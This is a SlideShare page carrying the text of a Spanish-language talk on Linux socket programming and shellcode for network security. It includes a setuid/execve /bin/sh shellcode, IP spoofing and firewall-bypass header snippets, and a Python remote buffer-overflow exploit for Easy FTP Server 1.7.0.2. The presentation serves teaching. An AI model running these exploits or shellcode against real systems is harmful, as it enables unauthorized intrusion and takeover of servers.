SlideShare una empresa de Scribd logo
1 de 48
Descargar para leer sin conexión
Contenido




Primera Parte: Sockets

Segunda Parte: Shellcodes
Primera Parte




# echo _Sockets_
Por qué saber sobre sockets ?



    “Para construir cualquier aplicación de red”

●WWW
●FTP

●P2P
Pre-requisitos



●TCP / IP básico
●Programación

●Estructuras de datos

●Compilación de programas sobre Linux con gcc
TCP/IP

Dirección IP:
Es un número que indentifica a cualquier equipo conectado a una
red IP. Ejemplo: 192.168.1.10

Puerto:
Es un número que permite que un programa en una computadora
envíe o reciba data. Ejemplo: puerto 80 (web)
TCP/IP


Dirección IP con puertos




               Puertos conocidos: 1 – 1023
            Puertos registrados: 1024 – 49151
       Puertos dinámicos o privados: 49152 – 65535
TCP/IP


Arquitectura Cliente Servidor
TCP/IP


Pila de Capas
TCP/IP


Cabecera + Datos



       Cabecera         Datos
Estructuras de datos en C

struct linea{
           int          punto_inicial;
           int          punto_final;
           int          grosor_linea;
           char[10]     color_linea;
} mi_linea;

…

struct linea *linea1;
Compilación de programas con gcc

Programa usado: gcc




# gcc HolaMundo.c -o HolaMundo
Definición Socket



Canal de comunicación entre 2 equipos distintos
             o el mismo equipo

         “Todo en Linux es un archivo”
Tipos de Socket



 1) Orientado a la conexión.
●Ejemplo: TCP socket




 2) No orientado a la conexión.
●Ejemplo: UDP socket
Big endian vs Little endian
Orden de bytes de red



● htonl - 32 bits
● htons - 16 bits

● ntons - 32 bits

● ntohs - 16 bits
El servidor


 1. Apertura de un socket - socket()
 2. Avisar al sistema operativo - bind()
 3. Que el sistema comience a atender dicha
conexión - listen()
 4. Aceptar las conexiones - accept()
 5. Escribir y recibir datos - write(), read()
 6. Cierre de la comunicación - close()
El cliente



1. Apertura de un socket - socket()
2. Solicitar la conexión - connect()
3. Escribir y recibir datos - write(), read()
4. Cierre de la comunicación - close()
Código de Servidor 1/1

#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <time.h>

#define   MAXLINE         4096
#define   LISTENQ         1024

Int main(int argc, char **argv) {
   int              listenfd, connfd;
   struct sockaddr_in servaddr;
   char             buff[MAXLINE];
   time_t           ticks;

   listenfd = socket(AF_INET, SOCK_STREAM, 0);

   bzero(&servaddr, sizeof(servaddr));
Código de Servidor 2/2

    servaddr.sin_family      = AF_INET;
    servaddr.sin_addr.s_addr = htonl(INADDR_ANY);
    servaddr.sin_port        = htons(13); /* Puerto para el servidor */
    bind(listenfd, (SA *) &servaddr, sizeof(servaddr));

    listen(listenfd, LISTENQ);

    for ( ; ; ) {
       connfd = accept(listenfd, (SA *) NULL, NULL);

         ticks = time(NULL);
         snprintf(buff, sizeof(buff), "%.24srn", ctime(&ticks));
         write(connfd, buff, strlen(buff));

        close(connfd);
    }
}
Código del Cliente 1/2

#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>

#define    MAXLINE        4096

Int main(int argc, char **argv) {
   int              sockfd, n;
   char             recvline[MAXLINE + 1];
   struct sockaddr_in servaddr;

   if (argc != 2)
      err_quit("uso: ./programa <direccionIP>");

   sockfd = socket(AF_INET, SOCK_STREAM, 0);

   bzero(&servaddr, sizeof(servaddr));
Código del Cliente 2/2

    servaddr.sin_family = AF_INET;
    servaddr.sin_port   = htons(13); /* Puerto del servidor daytime */
    inet_pton(AF_INET, argv[1], &servaddr.sin_addr);

    connect(sockfd, (SA *) &servaddr, sizeof(servaddr));

    while ( (n = read(sockfd, recvline, MAXLINE)) > 0) {
       recvline[n] = 0; /* null */
       if (fputs(recvline, stdout) == EOF)
           err_sys("fputs error");
    }
    if (n < 0)
       err_sys("read error");

    exit(0);
}
Aplicaciones Sockets




                       Motivaciones
Aplicaciones Sockets

Scanning de red con UDP sockets 1/2
Aplicaciones Sockets

Scanning de red con UDP sockets 2/2
Aplicaciones Sockets

Scanning de red con TCP sockets
Aplicaciones Sockets
Aplicaciones Sockets


             Usando un iPhone?
           Usa la versión optimizada.




                              Motivaciones
Aplicaciones Sockets

HTTP Server en Java
    if ( ExisteWeb )
                  {
                  statusLine = "HTTP/1.0 200 OK" + CRLF ;
                  contentTypeLine = "Content-type: " +
                      contentType( fileName ) + CRLF ;
                  contentLengthLine = "Content-Length: "
                      + (new Integer(fis.available())).toString()
                      + CRLF;
                  }
             else
                  {
                  statusLine = "HTTP/1.0 404 Not Found" + CRLF ;
                  contentTypeLine = "text/html" ;
                  entityBody = "<HTML>" +
                      "<HEAD><TITLE>404 Not Found</TITLE></HEAD>" +
                      "<BODY>404 Not Found"
                      +"<br>usage:http://yourHostName:port/"
                      +"fileName.html</BODY></HTML>" ;
                  }
Aplicaciones Sockets

HTTP Client en Perl
#!/usr/bin/perl -w
use IO::Socket;

$remote = new IO::Socket::INET(
                        Proto    => "tcp",
                        PeerAddr => "localhost",
                        PeerPort => "http(80)",
                    ) or die "cannot connect";

print $remote "GET /index.htm HTTP/1.0n";
print $remote "User-Agent: Mozilla/5.0 (iPhone; U; CPU like Mac OS X; en)
AppleWebKit/420+ (KHTML, like Gecko) Version/3.0 Mobile/1A543a Safari/419.3nn";
print $remote "Accept: */*nn";

while ( <$remote> ) { print }

$total_bytes = length($remote);
print " -- Total: $total_bytes bytes";
close($remote);
Aplicaciones Sockets




                       Motivaciones
Aplicaciones Sockets

Spoofing una dirección IP
#define IP_FUENTE      "192.168.0.05"
#define IP_DESTINO     "192.168.0.07"


...

struct iphdr *cabeceraIP;

cabeceraIP->saddr = inet_addr(IP_FUENTE);
cabeceraIP->daddr = inet_addr(IP_DESTINO);
Aplicaciones Sockets




                       Motivaciones
Aplicaciones Sockets

Bypassing un Firewall
#define bytes_data 100

void CrearTcpHeader()
{
     struct tcphdr *cabecera_tcp;
     cabecera_tcp = (struct tcphdr *)malloc(sizeof(struct tcphdr));

    cabecera_tcp   ->   source = htons(80);
    cabecera_tcp   ->   dest = htons(100);
    cabecera_tcp   ->   seq = htonl(111);
    cabecera_tcp   ->   ack_seq = htonl(111);
    cabecera_tcp   ->   res1 = 0;
    cabecera_tcp   ->   doff = (sizeof(struct tcphdr))/4;
    cabecera_tcp   ->   syn = 1;
    cabecera_tcp   ->   window = htons(100);
    cabecera_tcp   ->   check = 0;
    cabecera_tcp   ->   urg_ptr = 0;

    return (cabecera_tcp);
}
Aplicaciones Sockets

Bypassing un Firewall
Aplicaciones Sockets

Más librerías




                                Falsos positivos
Segunda Parte




# echo _Shellcodes_
Definición de Shellcode




“Código que se ejecutará para obtener una shell”
Construcción de shellcode

global _start
_start:                                Assembler y objdump
        xor eax, eax
        mov al, 70
        xor ebx, ebx
        xor ecx, ecx
        int 0x80
        jmp short ender        char code[] =
                               "x31xc0xb0x46x31xdbx31xc9xcdx80xeb"
       starter:
       pop ebx                 "x16x5bx31xc0x88x43x07x89x5bx08x89"
       xor eax, eax
       mov [ebx+7 ], al        "x43x0cxb0x0bx8dx4bx08x8dx53x0cxcd"
       mov [ebx+8 ], ebx
                               "x80xe8xe5xffxffxffx2fx62x69x6ex2f"
       mov   [ebx+12], eax
       mov   al, 11            "x73x68x58x41x41x41x41x42x42x42x42";
       lea   ecx, [ebx+8]
       lea   edx, [ebx+12]
       int   0x80

       ender:
       call starter
       db '/bin/shNAAAABBBB'
Construcción de shellcode

Automatizar
Construcción de shellcode

Conexión remota
Aplicaciones Shellcode

Buffer Overflow
#!/usr/bin/python
import socket, sys
print """
*************************************************
*   Easy FTP Server 1.7.0.2 Remote BoF *
*       Discovered by: Jon Butler       *
*************************************************
"""

shellcode = ("xbax20xf0xfdx7fxc7x02x4cxaaxf8x77"
"x33xC0x50x68x63x61x6Cx63x54x5Bx50x53xB9"
"xC7x93xC2x77"
"xFFxD1xEBxF7")

nopsled = "x90" * (268 - len(shellcode))
ret = "x58xFDx9Ax00"
payload = nopsled + shellcode + ret # 272 bytes
Aplicaciones Shellcode

Buffer Overflow
print "[+] Launching exploit against " + target + "..."
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
     connect=s.connect((target, port))
     print "[+] Connected!"
except:
     print "[!] Connection failed!"
     sys.exit(0)
s.recv(1024)
s.send('USER anonymousrn')
s.recv(1024)
s.send('PASS anonymousrn')
s.recv(1024)

print "[+] Sending payload..."
s.send('CWD ' + payload + 'rn') # Se envía el shellcode
Aplicaciones Shellcode

Superusuario :)
Referencias
Referencias



●[+] http://www.it.uom.gr/project/client_server/socket/socket/java/
●[+] http://oreilly.com/openbook/webclient/ch03.html
●[+] http://beej.us/guide/bgnet/output/print/bgnet_A4.pdf

●[+] http://hakin9.org/article-html/2400-linux-shellcode-optimisation

●[+] http://www.vividmachines.com/shellcode/shellcode.html

●[+] http://www.securitytube.net/Socket-Programming-Basics-Presentation-video.aspx
Contacto

p.valera@pucp.edu.pe

http://blog.pucp.edu.pe/pedro
Gracias !

Más contenido relacionado

La actualidad más candente

Rooted2020 A clockwork pentester - Jose Carlos Moral & Alvaro Villaverde
Rooted2020 A clockwork pentester - Jose Carlos Moral & Alvaro VillaverdeRooted2020 A clockwork pentester - Jose Carlos Moral & Alvaro Villaverde
Rooted2020 A clockwork pentester - Jose Carlos Moral & Alvaro VillaverdeRootedCON
 
Jesús Olmos - ChromeHack, a html5/chrome webhack tool [Rooted CON 2013]
Jesús Olmos - ChromeHack, a html5/chrome webhack tool [Rooted CON 2013]Jesús Olmos - ChromeHack, a html5/chrome webhack tool [Rooted CON 2013]
Jesús Olmos - ChromeHack, a html5/chrome webhack tool [Rooted CON 2013]RootedCON
 
IoT: Servidor web con_arduino_ethernet_shield_y_display_lcd 44780
IoT: Servidor web con_arduino_ethernet_shield_y_display_lcd 44780IoT: Servidor web con_arduino_ethernet_shield_y_display_lcd 44780
IoT: Servidor web con_arduino_ethernet_shield_y_display_lcd 44780Osvaldo Cantone
 
Jose Selvi - Adaptando exploits para evitar la frustración [RootedSatellite V...
Jose Selvi - Adaptando exploits para evitar la frustración [RootedSatellite V...Jose Selvi - Adaptando exploits para evitar la frustración [RootedSatellite V...
Jose Selvi - Adaptando exploits para evitar la frustración [RootedSatellite V...RootedCON
 
Manuel Blanco - GNU/Linux Binary Exploitation I&II [rooted2018]
Manuel Blanco - GNU/Linux Binary Exploitation I&II [rooted2018]Manuel Blanco - GNU/Linux Binary Exploitation I&II [rooted2018]
Manuel Blanco - GNU/Linux Binary Exploitation I&II [rooted2018]RootedCON
 
José Selvi - Unprivileged Network Post-Exploitation [RootedCON 2011]
José Selvi - Unprivileged Network Post-Exploitation [RootedCON 2011]José Selvi - Unprivileged Network Post-Exploitation [RootedCON 2011]
José Selvi - Unprivileged Network Post-Exploitation [RootedCON 2011]RootedCON
 
Semana 9 entradas salidas estandar y pipes
Semana 9 entradas salidas estandar y pipesSemana 9 entradas salidas estandar y pipes
Semana 9 entradas salidas estandar y pipesvictdiazm
 
Understanding Advanced Buffer Overflow
Understanding Advanced Buffer OverflowUnderstanding Advanced Buffer Overflow
Understanding Advanced Buffer OverflowConferencias FIST
 
Nmap6 cheatsheet eng v1
Nmap6 cheatsheet eng v1Nmap6 cheatsheet eng v1
Nmap6 cheatsheet eng v1DamianGreg
 
Programacion en python_2
Programacion en python_2Programacion en python_2
Programacion en python_2wozgeass
 
Abel Valero - VM + VFS = The Wooden Horse [rooted2018]
Abel Valero - VM + VFS = The Wooden Horse [rooted2018]Abel Valero - VM + VFS = The Wooden Horse [rooted2018]
Abel Valero - VM + VFS = The Wooden Horse [rooted2018]RootedCON
 
Los mejores trucos para Asterisk (VoIP2DAY 2008)
Los mejores trucos para Asterisk (VoIP2DAY 2008)Los mejores trucos para Asterisk (VoIP2DAY 2008)
Los mejores trucos para Asterisk (VoIP2DAY 2008)Elio Rojano
 
Linux basico-6.PDF
Linux basico-6.PDFLinux basico-6.PDF
Linux basico-6.PDFULEAM
 
Qué hace tu Asterisk cuando no miras
Qué hace tu Asterisk cuando no mirasQué hace tu Asterisk cuando no miras
Qué hace tu Asterisk cuando no mirasElio Rojano
 

La actualidad más candente (19)

Rooted2020 A clockwork pentester - Jose Carlos Moral & Alvaro Villaverde
Rooted2020 A clockwork pentester - Jose Carlos Moral & Alvaro VillaverdeRooted2020 A clockwork pentester - Jose Carlos Moral & Alvaro Villaverde
Rooted2020 A clockwork pentester - Jose Carlos Moral & Alvaro Villaverde
 
Jesús Olmos - ChromeHack, a html5/chrome webhack tool [Rooted CON 2013]
Jesús Olmos - ChromeHack, a html5/chrome webhack tool [Rooted CON 2013]Jesús Olmos - ChromeHack, a html5/chrome webhack tool [Rooted CON 2013]
Jesús Olmos - ChromeHack, a html5/chrome webhack tool [Rooted CON 2013]
 
IoT: Servidor web con_arduino_ethernet_shield_y_display_lcd 44780
IoT: Servidor web con_arduino_ethernet_shield_y_display_lcd 44780IoT: Servidor web con_arduino_ethernet_shield_y_display_lcd 44780
IoT: Servidor web con_arduino_ethernet_shield_y_display_lcd 44780
 
Web cryptography
Web cryptographyWeb cryptography
Web cryptography
 
Hacking ético con herramientas Python
Hacking ético con herramientas PythonHacking ético con herramientas Python
Hacking ético con herramientas Python
 
Los mejores trucos de Asterisk
Los mejores trucos de AsteriskLos mejores trucos de Asterisk
Los mejores trucos de Asterisk
 
Jose Selvi - Adaptando exploits para evitar la frustración [RootedSatellite V...
Jose Selvi - Adaptando exploits para evitar la frustración [RootedSatellite V...Jose Selvi - Adaptando exploits para evitar la frustración [RootedSatellite V...
Jose Selvi - Adaptando exploits para evitar la frustración [RootedSatellite V...
 
Manuel Blanco - GNU/Linux Binary Exploitation I&II [rooted2018]
Manuel Blanco - GNU/Linux Binary Exploitation I&II [rooted2018]Manuel Blanco - GNU/Linux Binary Exploitation I&II [rooted2018]
Manuel Blanco - GNU/Linux Binary Exploitation I&II [rooted2018]
 
José Selvi - Unprivileged Network Post-Exploitation [RootedCON 2011]
José Selvi - Unprivileged Network Post-Exploitation [RootedCON 2011]José Selvi - Unprivileged Network Post-Exploitation [RootedCON 2011]
José Selvi - Unprivileged Network Post-Exploitation [RootedCON 2011]
 
Semana 9 entradas salidas estandar y pipes
Semana 9 entradas salidas estandar y pipesSemana 9 entradas salidas estandar y pipes
Semana 9 entradas salidas estandar y pipes
 
Understanding Advanced Buffer Overflow
Understanding Advanced Buffer OverflowUnderstanding Advanced Buffer Overflow
Understanding Advanced Buffer Overflow
 
Pablo sanemeteriovalencia
Pablo sanemeteriovalenciaPablo sanemeteriovalencia
Pablo sanemeteriovalencia
 
Nmap6 cheatsheet eng v1
Nmap6 cheatsheet eng v1Nmap6 cheatsheet eng v1
Nmap6 cheatsheet eng v1
 
Programacion en python_2
Programacion en python_2Programacion en python_2
Programacion en python_2
 
Abel Valero - VM + VFS = The Wooden Horse [rooted2018]
Abel Valero - VM + VFS = The Wooden Horse [rooted2018]Abel Valero - VM + VFS = The Wooden Horse [rooted2018]
Abel Valero - VM + VFS = The Wooden Horse [rooted2018]
 
Los mejores trucos para Asterisk (VoIP2DAY 2008)
Los mejores trucos para Asterisk (VoIP2DAY 2008)Los mejores trucos para Asterisk (VoIP2DAY 2008)
Los mejores trucos para Asterisk (VoIP2DAY 2008)
 
Linux basico-6.PDF
Linux basico-6.PDFLinux basico-6.PDF
Linux basico-6.PDF
 
Qué hace tu Asterisk cuando no miras
Qué hace tu Asterisk cuando no mirasQué hace tu Asterisk cuando no miras
Qué hace tu Asterisk cuando no miras
 
Puertos de linux
Puertos de linuxPuertos de linux
Puertos de linux
 

Destacado

Presentation Of Pukar
Presentation Of PukarPresentation Of Pukar
Presentation Of Pukarrafiqueshaikh
 
Introducing Satellite
Introducing SatelliteIntroducing Satellite
Introducing SatelliteDavid Moore
 
The Legacy Of Hammer Logan
The Legacy Of Hammer LoganThe Legacy Of Hammer Logan
The Legacy Of Hammer LoganCollin Giuliani
 
Introducing Satellite
Introducing SatelliteIntroducing Satellite
Introducing SatelliteDavid Moore
 
The Legacy Of Hammer Logan
The Legacy Of Hammer LoganThe Legacy Of Hammer Logan
The Legacy Of Hammer LoganCollin Giuliani
 
programa arquitectonico
programa arquitectonicoprograma arquitectonico
programa arquitectonicoarqjiron19
 
Hype vs. Reality: The AI Explainer
Hype vs. Reality: The AI ExplainerHype vs. Reality: The AI Explainer
Hype vs. Reality: The AI ExplainerLuminary Labs
 
Study: The Future of VR, AR and Self-Driving Cars
Study: The Future of VR, AR and Self-Driving CarsStudy: The Future of VR, AR and Self-Driving Cars
Study: The Future of VR, AR and Self-Driving CarsLinkedIn
 

Destacado (8)

Presentation Of Pukar
Presentation Of PukarPresentation Of Pukar
Presentation Of Pukar
 
Introducing Satellite
Introducing SatelliteIntroducing Satellite
Introducing Satellite
 
The Legacy Of Hammer Logan
The Legacy Of Hammer LoganThe Legacy Of Hammer Logan
The Legacy Of Hammer Logan
 
Introducing Satellite
Introducing SatelliteIntroducing Satellite
Introducing Satellite
 
The Legacy Of Hammer Logan
The Legacy Of Hammer LoganThe Legacy Of Hammer Logan
The Legacy Of Hammer Logan
 
programa arquitectonico
programa arquitectonicoprograma arquitectonico
programa arquitectonico
 
Hype vs. Reality: The AI Explainer
Hype vs. Reality: The AI ExplainerHype vs. Reality: The AI Explainer
Hype vs. Reality: The AI Explainer
 
Study: The Future of VR, AR and Self-Driving Cars
Study: The Future of VR, AR and Self-Driving CarsStudy: The Future of VR, AR and Self-Driving Cars
Study: The Future of VR, AR and Self-Driving Cars
 

Similar a Lw2010 - Uso De La Programacion En Linux Para La Seguridad En Redes

Scripting para Pentesters v1.0
Scripting para Pentesters v1.0Scripting para Pentesters v1.0
Scripting para Pentesters v1.0wcuestas
 
Curso migración de aplicaciones nsl nk90 a tmp
Curso migración de aplicaciones nsl nk90 a tmpCurso migración de aplicaciones nsl nk90 a tmp
Curso migración de aplicaciones nsl nk90 a tmpEdgar Solis
 
a little more about CaptureFilter
a little more about CaptureFiltera little more about CaptureFilter
a little more about CaptureFilter@ otsuka752
 
Sockets en c
Sockets en cSockets en c
Sockets en cMaShYy
 
Tcpdump
TcpdumpTcpdump
TcpdumpTensor
 
Scapy. Generación y manipulación básica de paquetes de red
Scapy. Generación y manipulación básica de paquetes de redScapy. Generación y manipulación básica de paquetes de red
Scapy. Generación y manipulación básica de paquetes de redDavid Cristóbal
 
Anatomía de un ataque a tns listener
Anatomía de un ataque a tns listenerAnatomía de un ataque a tns listener
Anatomía de un ataque a tns listeneryt f
 
Ejemplo de RPC (Servidor de Archivos) enviar archivo en Java utilizando RPC
Ejemplo de RPC (Servidor de Archivos) enviar archivo en Java utilizando RPCEjemplo de RPC (Servidor de Archivos) enviar archivo en Java utilizando RPC
Ejemplo de RPC (Servidor de Archivos) enviar archivo en Java utilizando RPCIvan Luis Jimenez
 
Administración de red servidores y seguridad
Administración de red servidores y seguridadAdministración de red servidores y seguridad
Administración de red servidores y seguridadEmilio
 
Escaneo de Puertos
Escaneo de PuertosEscaneo de Puertos
Escaneo de Puertosarnoldvq16
 
C documents and settings_pc10_configuración local_datos de programa_mozilla_...
C  documents and settings_pc10_configuración local_datos de programa_mozilla_...C  documents and settings_pc10_configuración local_datos de programa_mozilla_...
C documents and settings_pc10_configuración local_datos de programa_mozilla_...ORLANDO LOPEZ
 
Curso Avanzado Seguridad Redes
Curso Avanzado Seguridad RedesCurso Avanzado Seguridad Redes
Curso Avanzado Seguridad RedesAntonio Durán
 
Carlos Brendel - Sobreviviendo al exterior con tu IPS [rooted2018]
Carlos Brendel - Sobreviviendo al exterior con tu IPS [rooted2018]Carlos Brendel - Sobreviviendo al exterior con tu IPS [rooted2018]
Carlos Brendel - Sobreviviendo al exterior con tu IPS [rooted2018]RootedCON
 
Configuracion de Firewalls e Pasarelas
Configuracion de Firewalls e PasarelasConfiguracion de Firewalls e Pasarelas
Configuracion de Firewalls e PasarelasMiguel Morales
 

Similar a Lw2010 - Uso De La Programacion En Linux Para La Seguridad En Redes (20)

Scripting para Pentesters v1.0
Scripting para Pentesters v1.0Scripting para Pentesters v1.0
Scripting para Pentesters v1.0
 
Curso migración de aplicaciones nsl nk90 a tmp
Curso migración de aplicaciones nsl nk90 a tmpCurso migración de aplicaciones nsl nk90 a tmp
Curso migración de aplicaciones nsl nk90 a tmp
 
a little more about CaptureFilter
a little more about CaptureFiltera little more about CaptureFilter
a little more about CaptureFilter
 
Sockets en c
Sockets en cSockets en c
Sockets en c
 
Tcpdump
TcpdumpTcpdump
Tcpdump
 
procesos
procesosprocesos
procesos
 
Voice OVER IP
Voice OVER IPVoice OVER IP
Voice OVER IP
 
Scapy. Generación y manipulación básica de paquetes de red
Scapy. Generación y manipulación básica de paquetes de redScapy. Generación y manipulación básica de paquetes de red
Scapy. Generación y manipulación básica de paquetes de red
 
Anatomía de un ataque a tns listener
Anatomía de un ataque a tns listenerAnatomía de un ataque a tns listener
Anatomía de un ataque a tns listener
 
Utilerías
Utilerías Utilerías
Utilerías
 
Procesos
ProcesosProcesos
Procesos
 
Secure txscalacsharp
Secure txscalacsharpSecure txscalacsharp
Secure txscalacsharp
 
Ejemplo de RPC (Servidor de Archivos) enviar archivo en Java utilizando RPC
Ejemplo de RPC (Servidor de Archivos) enviar archivo en Java utilizando RPCEjemplo de RPC (Servidor de Archivos) enviar archivo en Java utilizando RPC
Ejemplo de RPC (Servidor de Archivos) enviar archivo en Java utilizando RPC
 
Administración de red servidores y seguridad
Administración de red servidores y seguridadAdministración de red servidores y seguridad
Administración de red servidores y seguridad
 
Escaneo de Puertos
Escaneo de PuertosEscaneo de Puertos
Escaneo de Puertos
 
Sockets/ tcp
Sockets/ tcpSockets/ tcp
Sockets/ tcp
 
C documents and settings_pc10_configuración local_datos de programa_mozilla_...
C  documents and settings_pc10_configuración local_datos de programa_mozilla_...C  documents and settings_pc10_configuración local_datos de programa_mozilla_...
C documents and settings_pc10_configuración local_datos de programa_mozilla_...
 
Curso Avanzado Seguridad Redes
Curso Avanzado Seguridad RedesCurso Avanzado Seguridad Redes
Curso Avanzado Seguridad Redes
 
Carlos Brendel - Sobreviviendo al exterior con tu IPS [rooted2018]
Carlos Brendel - Sobreviviendo al exterior con tu IPS [rooted2018]Carlos Brendel - Sobreviviendo al exterior con tu IPS [rooted2018]
Carlos Brendel - Sobreviviendo al exterior con tu IPS [rooted2018]
 
Configuracion de Firewalls e Pasarelas
Configuracion de Firewalls e PasarelasConfiguracion de Firewalls e Pasarelas
Configuracion de Firewalls e Pasarelas
 

Último

Arenas Camacho-Practica tarea Sesión 12.pptx
Arenas Camacho-Practica tarea Sesión 12.pptxArenas Camacho-Practica tarea Sesión 12.pptx
Arenas Camacho-Practica tarea Sesión 12.pptxJOSEFERNANDOARENASCA
 
TEMA 2 PROTOCOLO DE EXTRACCION VEHICULAR.ppt
TEMA 2 PROTOCOLO DE EXTRACCION VEHICULAR.pptTEMA 2 PROTOCOLO DE EXTRACCION VEHICULAR.ppt
TEMA 2 PROTOCOLO DE EXTRACCION VEHICULAR.pptJavierHerrera662252
 
Google-Meet-como-herramienta-para-realizar-reuniones-virtuales.pptx
Google-Meet-como-herramienta-para-realizar-reuniones-virtuales.pptxGoogle-Meet-como-herramienta-para-realizar-reuniones-virtuales.pptx
Google-Meet-como-herramienta-para-realizar-reuniones-virtuales.pptxAlexander López
 
El uso delas tic en la vida cotidiana MFEL
El uso delas tic en la vida cotidiana MFELEl uso delas tic en la vida cotidiana MFEL
El uso delas tic en la vida cotidiana MFELmaryfer27m
 
El uso de las TIC's en la vida cotidiana.
El uso de las TIC's en la vida cotidiana.El uso de las TIC's en la vida cotidiana.
El uso de las TIC's en la vida cotidiana.241514949
 
Plan Sarmiento - Netbook del GCBA 2019..
Plan Sarmiento - Netbook del GCBA 2019..Plan Sarmiento - Netbook del GCBA 2019..
Plan Sarmiento - Netbook del GCBA 2019..RobertoGumucio2
 
Crear un recurso multimedia. Maricela_Ponce_DomingoM1S3AI6-1.pptx
Crear un recurso multimedia. Maricela_Ponce_DomingoM1S3AI6-1.pptxCrear un recurso multimedia. Maricela_Ponce_DomingoM1S3AI6-1.pptx
Crear un recurso multimedia. Maricela_Ponce_DomingoM1S3AI6-1.pptxNombre Apellidos
 
tics en la vida cotidiana prepa en linea modulo 1.pptx
tics en la vida cotidiana prepa en linea modulo 1.pptxtics en la vida cotidiana prepa en linea modulo 1.pptx
tics en la vida cotidiana prepa en linea modulo 1.pptxazmysanros90
 
R1600G CAT Variables de cargadores en mina
R1600G CAT Variables de cargadores en minaR1600G CAT Variables de cargadores en mina
R1600G CAT Variables de cargadores en minaarkananubis
 
Mapa-conceptual-del-Origen-del-Universo-3.pptx
Mapa-conceptual-del-Origen-del-Universo-3.pptxMapa-conceptual-del-Origen-del-Universo-3.pptx
Mapa-conceptual-del-Origen-del-Universo-3.pptxMidwarHenryLOZAFLORE
 
Medidas de formas, coeficiente de asimetría y coeficiente de curtosis.pptx
Medidas de formas, coeficiente de asimetría y coeficiente de curtosis.pptxMedidas de formas, coeficiente de asimetría y coeficiente de curtosis.pptx
Medidas de formas, coeficiente de asimetría y coeficiente de curtosis.pptxaylincamaho
 
El uso de las tic en la vida ,lo importante que son
El uso de las tic en la vida ,lo importante  que sonEl uso de las tic en la vida ,lo importante  que son
El uso de las tic en la vida ,lo importante que son241514984
 
FloresMorales_Montserrath_M1S3AI6 (1).pptx
FloresMorales_Montserrath_M1S3AI6 (1).pptxFloresMorales_Montserrath_M1S3AI6 (1).pptx
FloresMorales_Montserrath_M1S3AI6 (1).pptx241522327
 
dokumen.tips_36274588-sistema-heui-eui.ppt
dokumen.tips_36274588-sistema-heui-eui.pptdokumen.tips_36274588-sistema-heui-eui.ppt
dokumen.tips_36274588-sistema-heui-eui.pptMiguelAtencio10
 
Hernandez_Hernandez_Practica web de la sesion 11.pptx
Hernandez_Hernandez_Practica web de la sesion 11.pptxHernandez_Hernandez_Practica web de la sesion 11.pptx
Hernandez_Hernandez_Practica web de la sesion 11.pptxJOSEMANUELHERNANDEZH11
 
El_Blog_como_herramienta_de_publicacion_y_consulta_de_investigacion.pptx
El_Blog_como_herramienta_de_publicacion_y_consulta_de_investigacion.pptxEl_Blog_como_herramienta_de_publicacion_y_consulta_de_investigacion.pptx
El_Blog_como_herramienta_de_publicacion_y_consulta_de_investigacion.pptxAlexander López
 
Presentación inteligencia artificial en la actualidad
Presentación inteligencia artificial en la actualidadPresentación inteligencia artificial en la actualidad
Presentación inteligencia artificial en la actualidadMiguelAngelVillanuev48
 
GonzalezGonzalez_Karina_M1S3AI6... .pptx
GonzalezGonzalez_Karina_M1S3AI6... .pptxGonzalezGonzalez_Karina_M1S3AI6... .pptx
GonzalezGonzalez_Karina_M1S3AI6... .pptx241523733
 
definicion segun autores de matemáticas educativa
definicion segun autores de matemáticas  educativadefinicion segun autores de matemáticas  educativa
definicion segun autores de matemáticas educativaAdrianaMartnez618894
 
La era de la educación digital y sus desafios
La era de la educación digital y sus desafiosLa era de la educación digital y sus desafios
La era de la educación digital y sus desafiosFundación YOD YOD
 

Último (20)

Arenas Camacho-Practica tarea Sesión 12.pptx
Arenas Camacho-Practica tarea Sesión 12.pptxArenas Camacho-Practica tarea Sesión 12.pptx
Arenas Camacho-Practica tarea Sesión 12.pptx
 
TEMA 2 PROTOCOLO DE EXTRACCION VEHICULAR.ppt
TEMA 2 PROTOCOLO DE EXTRACCION VEHICULAR.pptTEMA 2 PROTOCOLO DE EXTRACCION VEHICULAR.ppt
TEMA 2 PROTOCOLO DE EXTRACCION VEHICULAR.ppt
 
Google-Meet-como-herramienta-para-realizar-reuniones-virtuales.pptx
Google-Meet-como-herramienta-para-realizar-reuniones-virtuales.pptxGoogle-Meet-como-herramienta-para-realizar-reuniones-virtuales.pptx
Google-Meet-como-herramienta-para-realizar-reuniones-virtuales.pptx
 
El uso delas tic en la vida cotidiana MFEL
El uso delas tic en la vida cotidiana MFELEl uso delas tic en la vida cotidiana MFEL
El uso delas tic en la vida cotidiana MFEL
 
El uso de las TIC's en la vida cotidiana.
El uso de las TIC's en la vida cotidiana.El uso de las TIC's en la vida cotidiana.
El uso de las TIC's en la vida cotidiana.
 
Plan Sarmiento - Netbook del GCBA 2019..
Plan Sarmiento - Netbook del GCBA 2019..Plan Sarmiento - Netbook del GCBA 2019..
Plan Sarmiento - Netbook del GCBA 2019..
 
Crear un recurso multimedia. Maricela_Ponce_DomingoM1S3AI6-1.pptx
Crear un recurso multimedia. Maricela_Ponce_DomingoM1S3AI6-1.pptxCrear un recurso multimedia. Maricela_Ponce_DomingoM1S3AI6-1.pptx
Crear un recurso multimedia. Maricela_Ponce_DomingoM1S3AI6-1.pptx
 
tics en la vida cotidiana prepa en linea modulo 1.pptx
tics en la vida cotidiana prepa en linea modulo 1.pptxtics en la vida cotidiana prepa en linea modulo 1.pptx
tics en la vida cotidiana prepa en linea modulo 1.pptx
 
R1600G CAT Variables de cargadores en mina
R1600G CAT Variables de cargadores en minaR1600G CAT Variables de cargadores en mina
R1600G CAT Variables de cargadores en mina
 
Mapa-conceptual-del-Origen-del-Universo-3.pptx
Mapa-conceptual-del-Origen-del-Universo-3.pptxMapa-conceptual-del-Origen-del-Universo-3.pptx
Mapa-conceptual-del-Origen-del-Universo-3.pptx
 
Medidas de formas, coeficiente de asimetría y coeficiente de curtosis.pptx
Medidas de formas, coeficiente de asimetría y coeficiente de curtosis.pptxMedidas de formas, coeficiente de asimetría y coeficiente de curtosis.pptx
Medidas de formas, coeficiente de asimetría y coeficiente de curtosis.pptx
 
El uso de las tic en la vida ,lo importante que son
El uso de las tic en la vida ,lo importante  que sonEl uso de las tic en la vida ,lo importante  que son
El uso de las tic en la vida ,lo importante que son
 
FloresMorales_Montserrath_M1S3AI6 (1).pptx
FloresMorales_Montserrath_M1S3AI6 (1).pptxFloresMorales_Montserrath_M1S3AI6 (1).pptx
FloresMorales_Montserrath_M1S3AI6 (1).pptx
 
